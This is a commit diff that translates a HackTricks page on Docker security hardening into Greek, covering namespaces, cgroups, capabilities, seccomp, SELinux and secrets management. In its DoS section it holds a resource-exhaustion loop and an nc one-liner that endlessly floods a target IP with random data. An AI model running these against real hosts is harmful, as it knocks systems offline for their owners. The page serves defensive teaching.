Translated ['src/linux-hardening/privilege-escalation/README.md', 'src/l

This commit is contained in:
Translator 2025-01-02 22:40:23 +00:00
parent b214533087
commit 7cff1ef6cb
228 changed files with 7027 additions and 10511 deletions

File diff suppressed because it is too large Load Diff

View File

@ -2,56 +2,45 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
## **Βασική Ασφάλεια Docker Engine**
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
## **Basic Docker Engine Security**
The **Docker engine** employs the Linux kernel's **Namespaces** and **Cgroups** to isolate containers, offering a basic layer of security. Additional protection is provided through **Capabilities dropping**, **Seccomp**, and **SELinux/AppArmor**, enhancing container isolation. An **auth plugin** can further restrict user actions.
Ο **Docker engine** χρησιμοποιεί τα **Namespaces** και **Cgroups** του πυρήνα Linux για να απομονώσει τα κοντέινερ, προσφέροντας ένα βασικό επίπεδο ασφάλειας. Επιπλέον προστασία παρέχεται μέσω της **Αφαίρεσης Δυνατοτήτων**, **Seccomp**, και **SELinux/AppArmor**, ενισχύοντας την απομόνωση των κοντέινερ. Ένα **auth plugin** μπορεί να περιορίσει περαιτέρω τις ενέργειες των χρηστών.
![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
### Secure Access to Docker Engine
### Ασφαλής Πρόσβαση στον Docker Engine
The Docker engine can be accessed either locally via a Unix socket or remotely using HTTP. For remote access, it's essential to employ HTTPS and **TLS** to ensure confidentiality, integrity, and authentication.
The Docker engine, by default, listens on the Unix socket at `unix:///var/run/docker.sock`. On Ubuntu systems, Docker's startup options are defined in `/etc/default/docker`. To enable remote access to the Docker API and client, expose the Docker daemon over an HTTP socket by adding the following settings:
Ο Docker engine μπορεί να προσπελαστεί είτε τοπικά μέσω ενός Unix socket είτε απομακρυσμένα χρησιμοποιώντας HTTP. Για απομακρυσμένη πρόσβαση, είναι απαραίτητο να χρησιμοποιούνται HTTPS και **TLS** για να διασφαλιστεί η εμπιστευτικότητα, η ακεραιότητα και η αυθεντικοποίηση.
Ο Docker engine, από προεπιλογή, ακούει στο Unix socket στο `unix:///var/run/docker.sock`. Στα συστήματα Ubuntu, οι επιλογές εκκίνησης του Docker ορίζονται στο `/etc/default/docker`. Για να επιτρέψετε απομακρυσμένη πρόσβαση στο Docker API και τον πελάτη, εκθέστε τον Docker daemon μέσω ενός HTTP socket προσθέτοντας τις παρακάτω ρυθμίσεις:
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
```
Ωστόσο, η έκθεση του Docker daemon μέσω HTTP δεν συνιστάται λόγω ανησυχιών ασφαλείας. Είναι σκόπιμο να ασφαλίσετε τις συνδέσεις χρησιμοποιώντας HTTPS. Υπάρχουν δύο κύριες προσεγγίσεις για την ασφάλιση της σύνδεσης:
However, exposing the Docker daemon over HTTP is not recommended due to security concerns. It's advisable to secure connections using HTTPS. There are two main approaches to securing the connection:
1. Ο πελάτης επαληθεύει την ταυτότητα του διακομιστή.
2. Και ο πελάτης και ο διακομιστής αλληλοεπιβεβαιώνουν την ταυτότητα ο ένας του άλλου.
1. The client verifies the server's identity.
2. Both the client and server mutually authenticate each other's identity.
Τα πιστοποιητικά χρησιμοποιούνται για να επιβεβαιώσουν την ταυτότητα ενός διακομιστή. Για λεπτομερείς παραδείγματα και των δύο μεθόδων, ανατρέξτε σε [**αυτήν την οδηγία**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
Certificates are utilized to confirm a server's identity. For detailed examples of both methods, refer to [**this guide**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
### Ασφάλεια Εικόνων Κοντέινερ
### Security of Container Images
Οι εικόνες κοντέινερ μπορούν να αποθηκευτούν είτε σε ιδιωτικά είτε σε δημόσια αποθετήρια. Το Docker προσφέρει πολλές επιλογές αποθήκευσης για εικόνες κοντέινερ:
Container images can be stored in either private or public repositories. Docker offers several storage options for container images:
- [**Docker Hub**](https://hub.docker.com): Μια δημόσια υπηρεσία μητρώου από το Docker.
- [**Docker Registry**](https://github.com/docker/distribution): Ένα έργο ανοιχτού κώδικα που επιτρέπει στους χρήστες να φιλοξενούν το δικό τους μητρώο.
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Η εμπορική προσφορά μητρώου του Docker, που διαθέτει αυθεντικοποίηση χρηστών με βάση ρόλους και ενσωμάτωση με υπηρεσίες καταλόγου LDAP.
- [**Docker Hub**](https://hub.docker.com): A public registry service from Docker.
- [**Docker Registry**](https://github.com/docker/distribution): An open-source project allowing users to host their own registry.
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker's commercial registry offering, featuring role-based user authentication and integration with LDAP directory services.
### Σάρωση Εικόνας
### Image Scanning
Τα κοντέινερ μπορεί να έχουν **ευπάθειες ασφαλείας** είτε λόγω της βασικής εικόνας είτε λόγω του λογισμικού που είναι εγκατεστημένο πάνω από τη βασική εικόνα. Το Docker εργάζεται σε ένα έργο που ονομάζεται **Nautilus** που εκτελεί σάρωση ασφαλείας των Κοντέινερ και καταγράφει τις ευπάθειες. Το Nautilus λειτουργεί συγκρίνοντας κάθε επίπεδο εικόνας Κοντέινερ με το μητρώο ευπαθειών για να εντοπίσει τα κενά ασφαλείας.
Containers can have **security vulnerabilities** either because of the base image or because of the software installed on top of the base image. Docker is working on a project called **Nautilus** that does security scan of Containers and lists the vulnerabilities. Nautilus works by comparing the each Container image layer with vulnerability repository to identify security holes.
For more [**information read this**](https://docs.docker.com/engine/scan/).
Για περισσότερες [**πληροφορίες διαβάστε αυτό**](https://docs.docker.com/engine/scan/).
- **`docker scan`**
The **`docker scan`** command allows you to scan existing Docker images using the image name or ID. For example, run the following command to scan the hello-world image:
Η εντολή **`docker scan`** σας επιτρέπει να σαρώσετε υπάρχουσες εικόνες Docker χρησιμοποιώντας το όνομα ή το ID της εικόνας. Για παράδειγμα, εκτελέστε την παρακάτω εντολή για να σαρώσετε την εικόνα hello-world:
```bash
docker scan hello-world
@ -67,103 +56,82 @@ Licenses: enabled
Note that we do not currently have vulnerability data for your image.
```
- [**`trivy`**](https://github.com/aquasecurity/trivy)
```bash
trivy -q -f json <container_name>:<tag>
```
- [**`snyk`**](https://docs.snyk.io/snyk-cli/getting-started-with-the-cli)
```bash
snyk container test <image> --json-file-output=<output file> --severity-threshold=high
```
- [**`clair-scanner`**](https://github.com/arminc/clair-scanner)
```bash
clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
```
### Υπογραφή Εικόνας Docker
### Docker Image Signing
Η υπογραφή εικόνας Docker διασφαλίζει την ασφάλεια και την ακεραιότητα των εικόνων που χρησιμοποιούνται σε κοντέινερ. Ακολουθεί μια συνοπτική εξήγηση:
Docker image signing ensures the security and integrity of images used in containers. Here's a condensed explanation:
- **Docker Content Trust** utilizes the Notary project, based on The Update Framework (TUF), to manage image signing. For more info, see [Notary](https://github.com/docker/notary) and [TUF](https://theupdateframework.github.io).
- To activate Docker content trust, set `export DOCKER_CONTENT_TRUST=1`. This feature is off by default in Docker version 1.10 and later.
- With this feature enabled, only signed images can be downloaded. Initial image push requires setting passphrases for the root and tagging keys, with Docker also supporting Yubikey for enhanced security. More details can be found [here](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Attempting to pull an unsigned image with content trust enabled results in a "No trust data for latest" error.
- For image pushes after the first, Docker asks for the repository key's passphrase to sign the image.
To back up your private keys, use the command:
- **Docker Content Trust** χρησιμοποιεί το έργο Notary, βασισμένο στο The Update Framework (TUF), για τη διαχείριση της υπογραφής εικόνας. Για περισσότερες πληροφορίες, δείτε το [Notary](https://github.com/docker/notary) και το [TUF](https://theupdateframework.github.io).
- Για να ενεργοποιήσετε την εμπιστοσύνη περιεχομένου Docker, ρυθμίστε `export DOCKER_CONTENT_TRUST=1`. Αυτή η δυνατότητα είναι απενεργοποιημένη από προεπιλογή στην έκδοση Docker 1.10 και μεταγενέστερες.
- Με αυτή τη δυνατότητα ενεργοποιημένη, μόνο υπογεγραμμένες εικόνες μπορούν να ληφθούν. Η αρχική μεταφόρτωση εικόνας απαιτεί τη ρύθμιση κωδικών πρόσβασης για τα κλειδιά root και tagging, με το Docker να υποστηρίζει επίσης Yubikey για αυξημένη ασφάλεια. Περισσότερες λεπτομέρειες μπορείτε να βρείτε [εδώ](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Η προσπάθεια λήψης μιας μη υπογεγραμμένης εικόνας με ενεργοποιημένη την εμπιστοσύνη περιεχομένου έχει ως αποτέλεσμα ένα σφάλμα "No trust data for latest".
- Για τις μεταφορτώσεις εικόνας μετά την πρώτη, το Docker ζητά τον κωδικό πρόσβασης του κλειδιού αποθετηρίου για να υπογράψει την εικόνα.
Για να δημιουργήσετε αντίγραφα ασφαλείας των ιδιωτικών σας κλειδιών, χρησιμοποιήστε την εντολή:
```bash
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
```
Όταν αλλάζετε Docker hosts, είναι απαραίτητο να μεταφέρετε τα κλειδιά root και repository για να διατηρήσετε τη λειτουργία.
When switching Docker hosts, it's necessary to move the root and repository keys to maintain operations.
---
<figure><img src="../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
## Containers Security Features
## Χαρακτηριστικά Ασφαλείας Κοντέινερ
<details>
<summary>Summary of Container Security Features</summary>
<summary>Περίληψη Χαρακτηριστικών Ασφαλείας Κοντέινερ</summary>
**Main Process Isolation Features**
**Κύρια Χαρακτηριστικά Απομόνωσης Διαδικασιών**
In containerized environments, isolating projects and their processes is paramount for security and resource management. Here's a simplified explanation of key concepts:
Σε περιβάλλοντα κοντέινερ, η απομόνωση έργων και των διαδικασιών τους είναι πρωταρχικής σημασίας για την ασφάλεια και τη διαχείριση πόρων. Ακολουθεί μια απλοποιημένη εξήγηση βασικών εννοιών:
**Namespaces**
- **Purpose**: Ensure isolation of resources like processes, network, and filesystems. Particularly in Docker, namespaces keep a container's processes separate from the host and other containers.
- **Usage of `unshare`**: The `unshare` command (or the underlying syscall) is utilized to create new namespaces, providing an added layer of isolation. However, while Kubernetes doesn't inherently block this, Docker does.
- **Limitation**: Creating new namespaces doesn't allow a process to revert to the host's default namespaces. To penetrate the host namespaces, one would typically require access to the host's `/proc` directory, using `nsenter` for entry.
- **Σκοπός**: Διασφαλίζει την απομόνωση πόρων όπως διαδικασίες, δίκτυο και συστήματα αρχείων. Ιδιαίτερα στο Docker, τα namespaces κρατούν τις διαδικασίες ενός κοντέινερ ξεχωριστές από τον host και άλλα κοντέινερ.
- **Χρήση του `unshare`**: Η εντολή `unshare` (ή η υποκείμενη syscall) χρησιμοποιείται για τη δημιουργία νέων namespaces, παρέχοντας ένα επιπλέον επίπεδο απομόνωσης. Ωστόσο, ενώ το Kubernetes δεν μπλοκάρει εγγενώς αυτό, το Docker το κάνει.
- **Περιορισμός**: Η δημιουργία νέων namespaces δεν επιτρέπει σε μια διαδικασία να επιστρέψει στα προεπιλεγμένα namespaces του host. Για να διεισδύσει στα namespaces του host, συνήθως απαιτείται πρόσβαση στον κατάλογο `/proc` του host, χρησιμοποιώντας το `nsenter` για είσοδο.
**Control Groups (CGroups)**
- **Function**: Primarily used for allocating resources among processes.
- **Security Aspect**: CGroups themselves don't offer isolation security, except for the `release_agent` feature, which, if misconfigured, could potentially be exploited for unauthorized access.
- **Λειτουργία**: Χρησιμοποιούνται κυρίως για την κατανομή πόρων μεταξύ διαδικασιών.
- **Πτυχή Ασφαλείας**: Τα CGroups από μόνα τους δεν προσφέρουν ασφάλεια απομόνωσης, εκτός από τη δυνατότητα `release_agent`, η οποία, αν είναι κακώς ρυθμισμένη, θα μπορούσε ενδεχομένως να εκμεταλλευτεί για μη εξουσιοδοτημένη πρόσβαση.
**Capability Drop**
- **Importance**: It's a crucial security feature for process isolation.
- **Functionality**: It restricts the actions a root process can perform by dropping certain capabilities. Even if a process runs with root privileges, lacking the necessary capabilities prevents it from executing privileged actions, as the syscalls will fail due to insufficient permissions.
These are the **remaining capabilities** after the process drop the others:
- **Σημασία**: Είναι ένα κρίσιμο χαρακτηριστικό ασφαλείας για την απομόνωση διαδικασιών.
- **Λειτουργικότητα**: Περιορίζει τις ενέργειες που μπορεί να εκτελέσει μια διαδικασία root απορρίπτοντας ορισμένες δυνατότητες. Ακόμα και αν μια διαδικασία εκτελείται με δικαιώματα root, η έλλειψη των απαραίτητων δυνατοτήτων την εμποδίζει να εκτελεί προνομιακές ενέργειες, καθώς οι syscalls θα αποτύχουν λόγω ανεπαρκών δικαιωμάτων.
Αυτές είναι οι **υπόλοιπες δυνατότητες** μετά την απόρριψη των άλλων:
```
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
```
**Seccomp**
It's enabled by default in Docker. It helps to **limit even more the syscalls** that the process can call.\
The **default Docker Seccomp profile** can be found in [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
Είναι ενεργοποιημένο από προεπιλογή στο Docker. Βοηθά να **περιορίσει ακόμη περισσότερο τις syscalls** που μπορεί να καλέσει η διαδικασία.\
Το **προφίλ Seccomp Docker προεπιλογής** μπορεί να βρεθεί στο [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
**AppArmor**
Docker has a template that you can activate: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
Το Docker έχει ένα πρότυπο που μπορείτε να ενεργοποιήσετε: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
This will allow to reduce capabilities, syscalls, access to files and folders...
Αυτό θα επιτρέψει τη μείωση των δυνατοτήτων, των syscalls, της πρόσβασης σε αρχεία και φακέλους...
</details>
### Namespaces
**Namespaces** are a feature of the Linux kernel that **partitions kernel resources** such that one set of **processes** **sees** one set of **resources** while **another** set of **processes** sees a **different** set of resources. The feature works by having the same namespace for a set of resources and processes, but those namespaces refer to distinct resources. Resources may exist in multiple spaces.
**Namespaces** είναι μια δυνατότητα του πυρήνα Linux που **διαχωρίζει τους πόρους του πυρήνα** έτσι ώστε ένα σύνολο **διαδικασιών** **να βλέπει** ένα σύνολο **πόρων** ενώ **ένα άλλο** σύνολο **διαδικασιών** βλέπει ένα **διαφορετικό** σύνολο πόρων. Η δυνατότητα λειτουργεί με το να έχει τον ίδιο namespace για ένα σύνολο πόρων και διαδικασιών, αλλά αυτοί οι namespaces αναφέρονται σε διακριτούς πόρους. Οι πόροι μπορεί να υπάρχουν σε πολλαπλούς χώρους.
Docker makes use of the following Linux kernel Namespaces to achieve Container isolation:
Το Docker χρησιμοποιεί τους παρακάτω Namespaces του πυρήνα Linux για να επιτύχει την απομόνωση των κοντέινερ:
- pid namespace
- mount namespace
@ -171,7 +139,7 @@ Docker makes use of the following Linux kernel Namespaces to achieve Container i
- ipc namespace
- UTS namespace
For **more information about the namespaces** check the following page:
Για **περισσότερες πληροφορίες σχετικά με τους namespaces** ελέγξτε την παρακάτω σελίδα:
{{#ref}}
namespaces/
@ -179,62 +147,58 @@ namespaces/
### cgroups
Linux kernel feature **cgroups** provides capability to **restrict resources like cpu, memory, io, network bandwidth among** a set of processes. Docker allows to create Containers using cgroup feature which allows for resource control for the specific Container.\
Following is a Container created with user space memory limited to 500m, kernel memory limited to 50m, cpu share to 512, blkioweight to 400. CPU share is a ratio that controls Containers CPU usage. It has a default value of 1024 and range between 0 and 1024. If three Containers have the same CPU share of 1024, each Container can take upto 33% of CPU in case of CPU resource contention. blkio-weight is a ratio that controls Containers IO. It has a default value of 500 and range between 10 and 1000.
Η δυνατότητα του πυρήνα Linux **cgroups** παρέχει τη δυνατότητα να **περιορίσει τους πόρους όπως cpu, μνήμη, io, εύρος ζώνης δικτύου μεταξύ** ενός συνόλου διαδικασιών. Το Docker επιτρέπει τη δημιουργία Κοντέινερ χρησιμοποιώντας τη δυνατότητα cgroup που επιτρέπει τον έλεγχο των πόρων για το συγκεκριμένο Κοντέινερ.\
Ακολουθεί ένα Κοντέινερ που δημιουργήθηκε με περιορισμένη μνήμη χώρου χρήστη στα 500m, περιορισμένη μνήμη πυρήνα στα 50m, μερίδιο cpu στα 512, blkioweight στα 400. Το μερίδιο CPU είναι μια αναλογία που ελέγχει τη χρήση CPU του Κοντέινερ. Έχει μια προεπιλεγμένη τιμή 1024 και εύρος μεταξύ 0 και 1024. Εάν τρία Κοντέινερ έχουν το ίδιο μερίδιο CPU 1024, κάθε Κοντέινερ μπορεί να καταναλώσει έως και 33% της CPU σε περίπτωση διαγωνισμού πόρων CPU. Το blkio-weight είναι μια αναλογία που ελέγχει το IO του Κοντέινερ. Έχει μια προεπιλεγμένη τιμή 500 και εύρος μεταξύ 10 και 1000.
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
```
To get the cgroup of a container you can do:
Για να αποκτήσετε το cgroup ενός κοντέινερ, μπορείτε να κάνετε:
```bash
docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container
ps -ef | grep 1234 #Get info about the sleep process
ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)
```
For more information check:
Για περισσότερες πληροφορίες ελέγξτε:
{{#ref}}
cgroups.md
{{#endref}}
### Capabilities
### Δυνατότητες
Capabilities allow **finer control for the capabilities that can be allowed** for root user. Docker uses the Linux kernel capability feature to **limit the operations that can be done inside a Container** irrespective of the type of user.
Οι δυνατότητες επιτρέπουν **πιο λεπτομερή έλεγχο για τις δυνατότητες που μπορούν να επιτραπούν** για τον χρήστη root. Το Docker χρησιμοποιεί τη δυνατότητα του πυρήνα Linux για να **περιορίσει τις λειτουργίες που μπορούν να γίνουν μέσα σε ένα Container** ανεξαρτήτως του τύπου του χρήστη.
When a docker container is run, the **process drops sensitive capabilities that the proccess could use to escape from the isolation**. This try to assure that the proccess won't be able to perform sensitive actions and escape:
Όταν εκτελείται ένα docker container, η **διαδικασία απορρίπτει ευαίσθητες δυνατότητες που θα μπορούσε να χρησιμοποιήσει για να ξεφύγει από την απομόνωση**. Αυτό προσπαθεί να διασφαλίσει ότι η διαδικασία δεν θα είναι σε θέση να εκτελέσει ευαίσθητες ενέργειες και να ξεφύγει:
{{#ref}}
../linux-capabilities.md
{{#endref}}
### Seccomp in Docker
### Seccomp στο Docker
This is a security feature that allows Docker to **limit the syscalls** that can be used inside the container:
Αυτή είναι μια λειτουργία ασφαλείας που επιτρέπει στο Docker να **περιορίσει τις syscalls** που μπορούν να χρησιμοποιηθούν μέσα στο container:
{{#ref}}
seccomp.md
{{#endref}}
### AppArmor in Docker
### AppArmor στο Docker
**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**.:
**AppArmor** είναι μια βελτίωση του πυρήνα για να περιορίσει **containers** σε ένα **περιορισμένο** σύνολο **πόρων** με **προφίλ ανά πρόγραμμα**.:
{{#ref}}
apparmor.md
{{#endref}}
### SELinux in Docker
### SELinux στο Docker
- **Labeling System**: SELinux assigns a unique label to every process and filesystem object.
- **Policy Enforcement**: It enforces security policies that define what actions a process label can perform on other labels within the system.
- **Container Process Labels**: When container engines initiate container processes, they are typically assigned a confined SELinux label, commonly `container_t`.
- **File Labeling within Containers**: Files within the container are usually labeled as `container_file_t`.
- **Policy Rules**: The SELinux policy primarily ensures that processes with the `container_t` label can only interact (read, write, execute) with files labeled as `container_file_t`.
- **Σύστημα Ετικετών**: Το SELinux ανα assigns μια μοναδική ετικέτα σε κάθε διαδικασία και αντικείμενο συστήματος αρχείων.
- **Επιβολή Πολιτικής**: Επιβάλλει πολιτικές ασφαλείας που καθορίζουν ποιες ενέργειες μπορεί να εκτελέσει μια ετικέτα διαδικασίας σε άλλες ετικέτες εντός του συστήματος.
- **Ετικέτες Διαδικασιών Container**: Όταν οι μηχανές container ξεκινούν διαδικασίες container, συνήθως τους ανατίθεται μια περιορισμένη ετικέτα SELinux, συνήθως `container_t`.
- **Ετικετοποίηση Αρχείων μέσα σε Containers**: Τα αρχεία μέσα στο container συνήθως ετικετοποιούνται ως `container_file_t`.
- **Κανόνες Πολιτικής**: Η πολιτική SELinux διασφαλίζει κυρίως ότι οι διαδικασίες με την ετικέτα `container_t` μπορούν να αλληλεπιδρούν μόνο (να διαβάζουν, να γράφουν, να εκτελούν) με αρχεία που ετικετοποιούνται ως `container_file_t`.
This mechanism ensures that even if a process within a container is compromised, it's confined to interacting only with objects that have the corresponding labels, significantly limiting the potential damage from such compromises.
Αυτός ο μηχανισμός διασφαλίζει ότι ακόμη και αν μια διαδικασία μέσα σε ένα container παραβιαστεί, περιορίζεται να αλληλεπιδρά μόνο με αντικείμενα που έχουν τις αντίστοιχες ετικέτες, περιορίζοντας σημαντικά τη δυνητική ζημιά από τέτοιες παραβιάσεις.
{{#ref}}
../selinux.md
@ -242,23 +206,22 @@ This mechanism ensures that even if a process within a container is compromised,
### AuthZ & AuthN
In Docker, an authorization plugin plays a crucial role in security by deciding whether to allow or block requests to the Docker daemon. This decision is made by examining two key contexts:
Στο Docker, ένα πρόσθετο εξουσιοδότησης παίζει κρίσιμο ρόλο στην ασφάλεια αποφασίζοντας αν θα επιτρέψει ή θα αποκλείσει αιτήματα προς τον daemon του Docker. Αυτή η απόφαση λαμβάνεται εξετάζοντας δύο βασικά συμφραζόμενα:
- **Authentication Context**: This includes comprehensive information about the user, such as who they are and how they've authenticated themselves.
- **Command Context**: This comprises all pertinent data related to the request being made.
- **Συμφραζόμενα Αυθεντικοποίησης**: Αυτό περιλαμβάνει λεπτομερείς πληροφορίες σχετικά με τον χρήστη, όπως ποιος είναι και πώς έχει αυθεντικοποιηθεί.
- **Συμφραζόμενα Εντολής**: Αυτό περιλαμβάνει όλα τα σχετικά δεδομένα που σχετίζονται με το αίτημα που υποβάλλεται.
These contexts help ensure that only legitimate requests from authenticated users are processed, enhancing the security of Docker operations.
Αυτά τα συμφραζόμενα βοηθούν να διασφαλιστεί ότι μόνο νόμιμα αιτήματα από αυθεντικοποιημένους χρήστες επεξεργάζονται, ενισχύοντας την ασφάλεια των λειτουργιών του Docker.
{{#ref}}
authz-and-authn-docker-access-authorization-plugin.md
{{#endref}}
## DoS from a container
## DoS από ένα container
If you are not properly limiting the resources a container can use, a compromised container could DoS the host where it's running.
Εάν δεν περιορίζετε σωστά τους πόρους που μπορεί να χρησιμοποιήσει ένα container, ένα παραβιασμένο container θα μπορούσε να προκαλέσει DoS στον κεντρικό υπολογιστή όπου εκτελείται.
- CPU DoS
```bash
# stress-ng
sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t 5m
@ -266,18 +229,15 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
# While loop
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
```
- Bandwidth DoS
- DoS εύρους ζώνης
```bash
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
```
## Interesting Docker Flags
## Ενδιαφέροντα Flags Docker
### --privileged flag
In the following page you can learn **what does the `--privileged` flag imply**:
Στην παρακάτω σελίδα μπορείτε να μάθετε **τι υποδηλώνει το flag `--privileged`**:
{{#ref}}
docker-privileged.md
@ -287,16 +247,13 @@ docker-privileged.md
#### no-new-privileges
If you are running a container where an attacker manages to get access as a low privilege user. If you have a **miss-configured suid binary**, the attacker may abuse it and **escalate privileges inside** the container. Which, may allow him to escape from it.
Running the container with the **`no-new-privileges`** option enabled will **prevent this kind of privilege escalation**.
Εάν εκτελείτε ένα κοντέινερ όπου ένας επιτιθέμενος καταφέρνει να αποκτήσει πρόσβαση ως χρήστης χαμηλών δικαιωμάτων. Εάν έχετε μια **κακώς ρυθμισμένη δυαδική suid**, ο επιτιθέμενος μπορεί να την εκμεταλλευτεί και να **κλιμακώσει τα δικαιώματα μέσα** στο κοντέινερ. Αυτό μπορεί να του επιτρέψει να διαφύγει από αυτό.
Η εκτέλεση του κοντέινερ με την επιλογή **`no-new-privileges`** ενεργοποιημένη θα **αποτρέψει αυτόν τον τύπο κλιμάκωσης δικαιωμάτων**.
```
docker run -it --security-opt=no-new-privileges:true nonewpriv
```
#### Other
#### Άλλα
```bash
#You can manually add/drop capabilities with
--cap-add
@ -311,82 +268,77 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
# You can manually disable selinux in docker with
--security-opt label:disable
```
Για περισσότερες επιλογές **`--security-opt`** ελέγξτε: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
For more **`--security-opt`** options check: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
## Άλλες Σημαντικές Σκέψεις Ασφαλείας
## Other Security Considerations
### Διαχείριση Μυστικών: Καλές Πρακτικές
### Managing Secrets: Best Practices
Είναι κρίσιμο να αποφεύγεται η ενσωμάτωση μυστικών απευθείας σε εικόνες Docker ή η χρήση μεταβλητών περιβάλλοντος, καθώς αυτές οι μέθοδοι εκθέτουν τις ευαίσθητες πληροφορίες σας σε οποιονδήποτε έχει πρόσβαση στο κοντέινερ μέσω εντολών όπως `docker inspect` ή `exec`.
It's crucial to avoid embedding secrets directly in Docker images or using environment variables, as these methods expose your sensitive information to anyone with access to the container through commands like `docker inspect` or `exec`.
**Docker volumes** είναι μια πιο ασφαλής εναλλακτική, που συνιστάται για την πρόσβαση σε ευαίσθητες πληροφορίες. Μπορούν να χρησιμοποιηθούν ως προσωρινό σύστημα αρχείων στη μνήμη, μειώνοντας τους κινδύνους που σχετίζονται με το `docker inspect` και την καταγραφή. Ωστόσο, οι χρήστες root και αυτοί με πρόσβαση `exec` στο κοντέινερ μπορεί να έχουν ακόμα πρόσβαση στα μυστικά.
**Docker volumes** are a safer alternative, recommended for accessing sensitive information. They can be utilized as a temporary filesystem in memory, mitigating the risks associated with `docker inspect` and logging. However, root users and those with `exec` access to the container might still access the secrets.
**Docker secrets** προσφέρουν μια ακόμη πιο ασφαλή μέθοδο για τη διαχείριση ευαίσθητων πληροφοριών. Για περιπτώσεις που απαιτούν μυστικά κατά τη διάρκεια της φάσης κατασκευής της εικόνας, το **BuildKit** προσφέρει μια αποδοτική λύση με υποστήριξη για μυστικά κατά την κατασκευή, βελτιώνοντας την ταχύτητα κατασκευής και παρέχοντας επιπλέον δυνατότητες.
**Docker secrets** offer an even more secure method for handling sensitive information. For instances requiring secrets during the image build phase, **BuildKit** presents an efficient solution with support for build-time secrets, enhancing build speed and providing additional features.
Για να αξιοποιήσετε το BuildKit, μπορεί να ενεργοποιηθεί με τρεις τρόπους:
To leverage BuildKit, it can be activated in three ways:
1. Through an environment variable: `export DOCKER_BUILDKIT=1`
2. By prefixing commands: `DOCKER_BUILDKIT=1 docker build .`
3. By enabling it by default in the Docker configuration: `{ "features": { "buildkit": true } }`, followed by a Docker restart.
BuildKit allows for the use of build-time secrets with the `--secret` option, ensuring these secrets are not included in the image build cache or the final image, using a command like:
1. Μέσω μιας μεταβλητής περιβάλλοντος: `export DOCKER_BUILDKIT=1`
2. Προσθέτοντας πρόθεμα στις εντολές: `DOCKER_BUILDKIT=1 docker build .`
3. Ενεργοποιώντας το από προεπιλογή στη ρύθμιση Docker: `{ "features": { "buildkit": true } }`, ακολουθούμενο από επανεκκίνηση του Docker.
Το BuildKit επιτρέπει τη χρήση μυστικών κατά την κατασκευή με την επιλογή `--secret`, διασφαλίζοντας ότι αυτά τα μυστικά δεν περιλαμβάνονται στην κρυφή μνήμη κατασκευής της εικόνας ή στην τελική εικόνα, χρησιμοποιώντας μια εντολή όπως:
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
For secrets needed in a running container, **Docker Compose and Kubernetes** offer robust solutions. Docker Compose utilizes a `secrets` key in the service definition for specifying secret files, as shown in a `docker-compose.yml` example:
Για τα μυστικά που απαιτούνται σε ένα τρέχον κοντέινερ, **Docker Compose και Kubernetes** προσφέρουν ισχυρές λύσεις. Το Docker Compose χρησιμοποιεί ένα κλειδί `secrets` στον ορισμό υπηρεσίας για να καθορίσει τα αρχεία μυστικών, όπως φαίνεται σε ένα παράδειγμα `docker-compose.yml`:
```yaml
version: "3.7"
services:
my_service:
image: centos:7
entrypoint: "cat /run/secrets/my_secret"
secrets:
- my_secret
my_service:
image: centos:7
entrypoint: "cat /run/secrets/my_secret"
secrets:
my_secret:
file: ./my_secret_file.txt
- my_secret
secrets:
my_secret:
file: ./my_secret_file.txt
```
Αυτή η ρύθμιση επιτρέπει τη χρήση μυστικών κατά την εκκίνηση υπηρεσιών με το Docker Compose.
This configuration allows for the use of secrets when starting services with Docker Compose.
